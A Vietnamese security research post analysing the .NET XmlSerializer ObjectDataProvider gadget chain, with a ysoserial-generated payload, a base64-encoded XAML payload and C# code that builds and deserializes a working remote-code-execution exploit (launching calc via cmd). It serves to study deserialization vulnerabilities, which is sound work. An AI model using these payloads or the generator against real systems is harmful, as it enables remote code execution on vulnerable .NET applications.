Serializer - XmlSerializer và ObjectDataProvider chain
Tiếp theo ta sẽ đến gia phả Serializer với đại diện được phân tích là XmlSerializer
Quá trình Serialize
Đúng như tên gọi thì XmlSerializer
cho phép ta seri object thành XML, hoặc deser từ XML thành object
Để tiến hành sử dụng, đầu tiên mình sẽ có một object sau đây muốn seri thành xml
namespace demo
{
public class XMLObject
{
public string Name;
public string Value;
}
}
Mình có đoạn code sau tại hàm main để tiến hành seri và deser
XMLObject obj = new XMLObject();
obj.Name = "Nametest";
obj.Value = "testing";
XmlSerializer xmlSerializer = new XmlSerializer(typeof(XMLObject));
FileStream fs = new FileStream("data.bin", FileMode.Create, FileAccess.Write, FileShare.None);
xmlSerializer.Serialize(fs, obj);
fs.Close();
Stream stream = new FileStream("data.bin", FileMode.Open, FileAccess.Read, FileShare.Read);
XMLObject deser = (XMLObject)xmlSerializer.Deserialize(stream);
Console.WriteLine(deser.Name + deser.Value);
Khi đã khai báo thành công XmlSerializer, khi chạy code ta sẽ có kết quả
Kết quả khi seri:

Kết quả khi deser:

Một lưu ý nho nhỏ là XmlSerializer có một giới hạn, nó không thể seri những property read-only
, tức là những property private hoặc public property mà không có setter đều sẽ được coi là read-only
nên nó không thể seri và quăng lỗi (nguồn: https://stackoverflow.com/questions/13401192/why-are-properties-without-a-setter-not-serialized)

Demo exploit gadget chain ObjectDataProvider
Lý thuyết serialize đủ rồi, giờ mình sẽ bắt đầu exploit 1 gadget chain phổ biến đối với thằng XmlSerializer này là ObjectDataProvider
Mình sẽ dùng .net ysoserial để gen ra payload như sau
$ ysoserial.exe -g ObjectDataProvider -c calc -f xmlserializer
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
Chain của chúng ta sẽ là: ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")
Nhìn có vẻ đơn giản nhưng sự thật thì không, cụ thể mình sẽ phân tích ở phần sau, còn bây giờ mình sẽ dùng đoạn code sau để demo
namespace xmlserializer_gadget
{
class Program
{
static void Main(string[] args)
{
var xmlDoc = new XmlDocument();
xmlDoc.Load(@"exploit.xml");
foreach (XmlElement xmlItem in xmlDoc.SelectNodes("/root"))
{
string typeName = xmlItem.GetAttribute("type");
Console.WriteLine(typeName);
var xser = new XmlSerializer(Type.GetType(typeName));
var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
xser.Deserialize(reader);
}
}
}
}
Kết quả:

Đoạn code demo trên được tham khảo từ https://github.com/pwntester/ysoserial.net/issues/24 và đó cũng là tái hiện lại sink của CVE-2017-9822 DotNetNuke
Phân tích gadget ObjectDataProvider
ObjectDataProvider là gì?
Trước khi đi vào sâu phân tích, ta cần phải biết ObjectDataProvider là gì và nó đóng vai trò gì trong chain ?
Theo docs Microsoft thì ta có định nghĩa như sau:

Đọc thấy chung chung quá, cách hiệu quả nhất để hiểu là dùng thử nó. Mình có đoạn code sau
ObjectDataProvider o = new ObjectDataProvider();
o.ObjectInstance = new Process();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
Khi đoạn code trên thực thi, calc sẽ popup. Hay nói cách khác khi ObjectDataProvider instance được tạo thì nó sẽ tạo luôn instacne của Process và đồng thời cũng thực thi method Start với argument mà ta truyền vào.
Cụ thể quá trình ObjectDataProvider có thể tham khảo ở đây: https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net#:~:text=while being deserialized.-,How is this possible,-The System.Windows
Vậy thì hành vi này giúp ích gì trong quá trình exploit deser. Ta có thể thấy nếu payload chỉ cần tạo được instace của ObjectDataProvider thì ObjectDataProvider sẽ giúp ta gọi đến Process.Start(”cmd.exe”, “/c calc”)
, tức là ta không cần tìm cách gọi đến method Start để RCE mà chỉ cần gọi được ObjectDataProvider, thì RCE sẽ tự động được trigger
Các bạn có thể thấy được sự tương đồng của ObjectDataProvider với InvokerTransformer
trong chain CC của Java. Nhưng đối với .net thì đây là key quan trọng trong chain
Sau khi hiểu được công dụng của ObjectDataProvider, ta thử áp dụng nó vào quá trình seri/deser của XmlSerializer với đoạn code sau
ObjectDataProvider o = new ObjectDataProvider();
o.ObjectInstance = new Process();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
XmlSerializer xml = new XmlSerializer(typeof(Object));
xml.Serialize(writer, o);
Đoạn code trên khi thực thi sẽ quăng ra lỗi:

Theo mình tìm hiểu thì có thể lỗi này là do ObjectDataProvider mang trong mình thêm một object type khác là Process, mà giới hạn của XmlSerializer thì chỉ seri/deser được một type object do đó dẫn đến bị lỗi
Để khắc phục tình trạng này thì ta có thể dùng ExpandedWrapper để wrap exploit object lại
ExpandedWrapper
ExpandedWrapper là một class được sử dụng trong hệ thống internal của .net, mục đích ban đầu của nó không phải dành cho dev nên docs ghi khá chung chung và dễ confuse

Theo như mình tìm hiểu thì ExpandedWrapper cho phép "expand" thêm object type vào một object type khác, nghĩa là ExpandedWrapper sẽ tạo ra 1 wrapper mang bên trong 2 hoặc nhiều object type. Đây chính xác là thứ ta cần để bypass hành vi seri hạn chế của XmlSerializer
Ta sẽ có đoạn code sử dụng ExpandedWrapper đơn giản như sau:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace demo
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Ở đoạn code trên, khi khai báo ExpandedWrapper ta sẽ truyền vào tham số đầu tiên là Process và tham số thứ 2 là ObjectDataProvider. Nghĩa là object type được expand sẽ là ObjectDataProvider và object type sẽ expand vào ObjectDataProvider là Process. Nếu ta muốn thay đổi object type được gọi bởi ObjectDataProvider thì ta sẽ thay thế vào tham số đầu tiên.
Mình sẽ thử serialize object ExpandedWrapper với XmlSerializer với đoạn code sau
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Start";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Process, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);
Lúc này khi chạy code ta sẽ bị dính lỗi như sau:

Nguyên nhân của lỗi này là do object Process không thể serialize thành XML do nó có kế thừa System.ComponentModel.Component
mà class này có filed site
là một interface. Interface thì không thể serialize thành XML được nên quăng ra lỗi (nguồn https://www.youtube.com/watch?v=os22pgVzXQw phút 24:34)
Do đó cho dù ta đã tìm được cách bypass để seri được nhiều object type thì cũng không thể dùng Process để RCE được, nên ta phải tìm cách khác.
Khi nhìn vào payload của ysoserial ta sẽ thấy cách xử lý của ysoserial là cho ObjectDataProvider trong ExpandedWrapper gọi đến XAMLReader.Parse
, rồi từ XAMLReader.Parse
load một XML độc hại, mà XML độc hại đó khi được load sẽ tạo instance của ObjectDataProvider
và trigger RCE. Đây là một cách rất hay để bypass, cùng mình tiếp tục phân tích
Dùng XAMLReader.Parse để trigger RCE
Đây là phần khiến mình mất rất nhiều thời gian để research và hiểu về nó, sau khi đọc rất nhiều blog và docs thì mình đúc kết được những gì mình hiểu sau đây.
Nói một chút về XAML, thì đây là loại markup language được tạo ra để sử dụng trong WPF (hiểu nôm na là framework code app bằng c# của .net) do đó nếu muốn thực thi được XAML ta phải có một project WPF chuẩn chỉ, hoặc đơn giản hơn ta có thể dùng XAMLReader.Parse
để xử lý XAML.
Quay trở lại với chain, khi đọc thêm docs về ObjectDataProvider ta sẽ thấy dòng sau

Đại khái có nghĩa là trong XAML ta có thể sử dụng ObjectDataProvider để bind object, cho phép ta tạo instance và thực thi method của object như cách ObjectDataProvider được dùng trong code thông thường. Điều này có nghĩa là ta không cần phải seri ObjectDataProvider để trigger RCE nữa, mà chỉ cần đưa trực tiếp chuỗi XAML vào XAMLReader.Parse
, thì ObjectDataProvider instace sẽ được tạo -> trigger RCE. Nhưng làm sao để sử dụng được ObjectDataProvider trong XAML ?
Để sử dụng ObjectDataProvider trong XAML ta sẽ khai báo nó như một element và thường nằm ở phần khai báo resources của XAML
Ví dụ với XAML như sau:
<Window x:Class="WpfAppTest.MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:d="clr-namespace:System.Diagnostics;assembly=System"
Title="MainWindow" Height="300" Width="300">
<Window.Resources>
<ObjectDataProvider x:Key="myListItems"
ObjectType="{x:Type d:Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<s:String>calc.exe</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</Window.Resources>
...
Ở đây ta để ý phần khai báo attribute của element windows:
xmlns và xmlns:x : mặc định có nên ta không cần quan tâm
xmlns:s="clr-namespace:System;assembly=mscorlib"
: define prefix s trỏ đến “clr-namespace:System;assembly=mscorlib” tương tự như package System trong code C# thông thường, nghĩa là ở dưới khi ta dùng s:String là tương tự như System.Stringxmlns:d="clr-namespace:System.Diagnostics;assembly=System"
: define prefix d trỏ đến “clr-namespace:System.Diagnostics;assembly=System” tương tự như package System.Diagnostics, khi đó gọi d:Process sẽ tương tự như System.Diagnostics.Process
Khi này nếu ta thực thi XAML trên bằng XAMLReader.Parse
thì calc sẽ popup.
Tuy nhiên còn một vấn đề nữa là đoạn XAML trên quá dài và bị phụ thuộc vào project, không hề portable. Để khiến payload có thể exploit được với mọi hệ thống ta phải tìm cách khai báo XAML làm sao cho chạy được trên mọi hệ thống thông qua XAMLReader.Parse
ResourceDictionary come to rescue
Khi đào sâu thêm vào các tính năng của XAML cung cấp thì ta biết được có thể khai báo resources vào riêng một file và sử dụng được khắp nơi trong project tính năng này gọi là Resource Dictionaries
, từ đó mang đến khả năng flexible cho XAML → ta có thể lợi dụng
Thay vì dùng Window.Resources
thì ta sẽ dùng ResourceDictionary
để khai báo ObjectDataProvider như sau:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
Khi này resource đã hoàn toàn độc lập và có thể dùng được ở mọi nơi
Mình có đoạn code sau để demo:
namespace xmlserializer_gadget
{
class Program
{
static void Main(string[] args)
{
// base64 payload
string p =
"PFJlc291cmNlRGljdGlvbmFyeSANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgICAgICAgICAgICAgICAgIHhtbG5zOmQ9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIiANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIA0KICAgICAgICAgICAgICAgICAgICB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxiOlN0cmluZz5jbWQ8L2I6U3RyaW5nPg0KICAgICAgICAgICAgPGI6U3RyaW5nPi9jIGNhbGM8L2I6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+";
byte[] vs = Convert.FromBase64String(p);
string xml = Encoding.UTF8.GetString(vs);
XmlDeserialize(xml);
}
public static void XmlDeserialize(string o)
{
XamlReader.Parse(o);
}
}
}
Kết quả khi thực thi

Cách trên là ta sẽ khai báo ObjectDataProvider trong phần resources để được tự động tạo, hoặc ta cũng có một cách khai báo khác là tự động tạo instance của ObjectDataProvider bằng property ObjectInstance, nghĩa là thay vì khởi tạo gián tiếp qua ResourceDictionary, thì ta sẽ khởi tạo trực tiêp trong ObjectDataProvider (cách này khi nghiên cứu các chain khác thì mình thấy)
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
Hiệu quả của cả 2 cách là như nhau
Gen payload
Tổng hợp tất cả các ý trên, mình có một đoạn code sau để generate xml payload và deser xml payload
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Data;
using System.Xml.Serialization;
using System.Data.Services.Internal;
using System.Windows.Markup;
namespace xmlserializer_gadget
{
class Program
{
static void Main(string[] args)
{
// Prepare payload
string p =
"PFJlc291cmNlRGljdGlvbmFyeSANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgICAgICAgICAgICAgICAgIHhtbG5zOmQ9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIiANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIA0KICAgICAgICAgICAgICAgICAgICB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxiOlN0cmluZz5jbWQ8L2I6U3RyaW5nPg0KICAgICAgICAgICAgPGI6U3RyaW5nPi9jIGNhbGM8L2I6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+";
byte[] vs = Convert.FromBase64String(p);
string payload_xml = Encoding.UTF8.GetString(vs);
// Prepare to serialize
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Parse";
expandedWrapper.ProjectedProperty0.MethodParameters.Add(payload_xml);
expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader(); // Decalre XamlReader.Parse to load payload and trigger RCE
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
// Serialize
xml.Serialize(writer, expandedWrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);
// Deserialize
memoryStream.Position = 0;
xml.Deserialize(memoryStream);
Console.ReadKey();
}
}
}
Khi thực thi ta sẽ có được xml payload như sau

Payload này là gần tương tự như payload được gen bởi ysoserial, và khi xml string được deser calc sẽ pop up.
Tóm tắt
Như vậy ta đã hiểu đầy đủ những tính năng và cơ chế cấu thành nên chain ObjectDataProvider
sử dụng trong XmlSerializer. XmlSerializer khi deser sẽ gọi đến XamlReader.Parse, hàm này sẽ Parse malicious XAML để tạo instance của ObjectDataProvider, khi ObjectDataProvider khởi tạo nó sẽ tự động invoke Process.Start → RCE
Điều kiện để chain này hoạt động là:
Target có dùng package
PresentationFramework
Ta có thể kiểm soát được object type khi khởi tạo XmlSerializer constructor
Malicous xml sẽ rơi vào XmlSerializer.Deserialize()
Tuy điều kiện exploit chain này khá ngặt nghèo nhưng nó lại cung cấp những khái niệm cơ bản để ta có thể tìm hiểu các chain sau này
Refer
Last updated